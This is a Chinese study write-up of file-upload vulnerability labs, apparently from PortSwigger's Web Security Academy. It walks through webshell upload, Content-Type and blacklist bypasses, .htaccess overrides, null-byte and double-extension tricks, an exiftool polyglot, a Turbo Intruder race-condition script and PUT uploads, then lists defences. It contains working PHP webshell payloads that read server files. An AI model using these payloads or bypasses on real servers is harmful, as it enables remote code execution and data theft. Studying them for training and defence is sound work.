一、是啥
1. 什么是文件上传漏洞
- 当web服务器允许用户上传文件时,对上传文件的检测疏忽,名称、类型、内容、大小等等。
- 即使是基本的图像上传函数也可以用于上传任意和潜在的危险文件。这甚至可以包括启用远程代码执行的服务器端脚本文件。
2. 文件上传漏洞如何出现
- 开发人员维护,利用黑名单,但实际上黑名单虽然限制了部分文件,但仍存在更危险晦涩的文件类型可被上传
3. web服务器如何处理静态的文件请求
- 过去网站几乎完全由静态文件组成
- 每个请求路径与服务器文件系统上的目录文件层次结构映射为1:1
- 网站越来越动态,请求的路径通常与文件系统完全没有直接关系。但是,Web服务器仍处理某些静态文件的请求,包括样式表,图像等
- 处理静态文件:服务器解析文件扩展名与MIME类型 进行比较
- 若 文件类型不可执行:图像或静态HTML页面,服务器发给客户端
- 若 文件类型是可执行的:PHP,执行结果在HTTP响应返回给客户端
- 若文件类型可执行,但服务器未配置执行此类型文件:会错误响应,文件的内容可能会作为纯文本提供给客户端,可能会被利用为泄漏源代码和其他敏感信息
content-type 响应标头可能会提供有关服务器认为已使用的文件的线索。如果该标头未通过应用程序代码明确设置,则通常包含文件扩展名/MIME类型映射的结果。
二、类型
1. 任意上传以部署webshell
- 从安全角度来看,最坏的情况是网站允许您上传服务器端脚本(例如PHP,Java或Python文件),并且还配置为将其执行为代码
- 如果您能够成功上传Web Shell,则可以有效地控制服务器。这意味着您可以读取和编写任意文件,渗透敏感数据,甚至使用服务器对内部基础架构和网络外部的其他服务器进行旋转。例如,可以使用以下PHP单线线从服务器的文件系统读取任意文件:
<?php echo file_get_contents('/path/to/target/file'); ?>
lab:上传webshell进行远程代码执行
用wiener:peter登录 account 上传1.php 访问webshell的地址
上传webshell php <?php echo file_get_contents('/home/carlos/secret');?>
qMofGFtevw0O02V6s3adxBLOkKb5bfrT
2. 文件类型验证存在缺陷
如果未进行进一步的验证以检查文件的内容是否实际匹配所谓的MIME类型,则可以使用Burp Repeater等工具轻松绕过此防御。
lab:上传webshell 通过Content-Type 限制绕过
- wiener:peter登录
- 上传1.php上传时抓包发到repeater
- content-type改为image/png
3. 防止文件执行
lab:上传webshell通过目录遍历
- wiener:peter登录
- 上传1.php,上传时抓包发到repeater,发现没有限制php
- 访问webshell发现服务器没有执行脚本
- 因为用户提供的文件上传到的目录可能会有更严格的控制- 例如 tmp 文件夹:的正常设置为 1777,显示为/tmplsdrwxrwxrwt
- 再次上传webshell抓包,改为…/webshell.php,但看到文件仍然上传到 :T
he file avatars/1.php has been uploaded.<p> - 考虑存在过滤
%2F 进行过滤..%2Fwebshell.php
4. 黑名单不足
- 有时可以使用鲜为人知的替代文件扩展名,例如.php5,.shtml等,可以绕过此类黑名单
4.1 覆盖服务器配置
- 服务器通常不会执行文件
- 除非己配置
- 开发人员可能将指令添加到
/etc/apache2/apache2.conf
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
- 有服务器在单个目录添加特殊配置文件,以覆盖或添加全局设置
- e.g apache将.htaccess文件加载特定的目录配置
- e.g web.config文件在IIS服务器上进行特定于目录的配置。这可能包括以下指令,在这种情况下,允许将JSON文件提供给用户:
lab: 通过黑名单之外的上传webshell——.htaccess
还是一样上传1.php抓包到repeater
- 更改 filename parameter to
.htaccess - 更改 Content-Type header to
text/plain - Replace the contents of the file (your PHP payload) with the following Apache directive:
AddType application/x-httpd-php .php1
- 再上传一个webshell后缀是php1
4.2 混淆文件后缀
- 1.php.jpg
- url编码 %2Ephp
- 1.asp%00.jpg
- exploit.p.phphp
lab5:文件后缀混淆来绕过
-
wiener: peter登录 -
用00截断exploit.php%00.jpg
上传webshell抓包看到只允许jpg png 直接访问url 显示400 删去%00.jpg
5. 文件内容缺陷
PEG文件始终以字节FF D8 FF开头
lab6 :多语言执行远程代码上传webshell
- Polyglots是多种不同文件类型的有效形式的文件。例如,GIFAR既是GIF又是RAR文件
- 编辑polyglot.php,content-type:application/x-php
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
不想下载exiftool
6. 利用文件竞争
- 现代框架不会直接上传文件到目标
- 采取防御措施,先上传到临时的沙盒目录
- 对临时文件验证,安全的才会转移到目的地
lab7:利用条件竞争上传webshell
- 连续发送两个请求 间隔只有几毫秒
- 用 Turbo Intruder插件(刚好挖洞用过
- 上传1.php发现只允许上传图片
- 在上传时抓包改为1.php.png 把包放回去
- 在历史中看到有一个POST包 是1.php
- 关闭拦截以后 访问上传的png GET包是1.php.png
- 标记好
- POST包发到插件
- 更改两个请求 分别对应POST和GET
- 把GET里包头后面的.png去掉 post要和get对应一致(一直踩坑在这里
- 脚本如下:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''<YOUR-POST-REQUEST>'''
request2 = '''<YOUR-GET-REQUEST>'''
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
终于成功了
7. 上传客户端脚本
8. 利用PUT协议上传恶意脚本
某些Web服务器可能被配置为支持PUT请求。如果没有适当的防御措施,这可以提供上传恶意文件的替代方法
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php echo file_get_contents('/path/to/file'); ?>
三、防护
- 检查白名单,而不是黑名单
- 确保文件名不报很目录遍历的…/
- 重命名文件以防文件覆盖
- 验证前不要上传的服务器的文件系统
- 尽可能多的使用已建立的框架 为不是自己编写的验证
|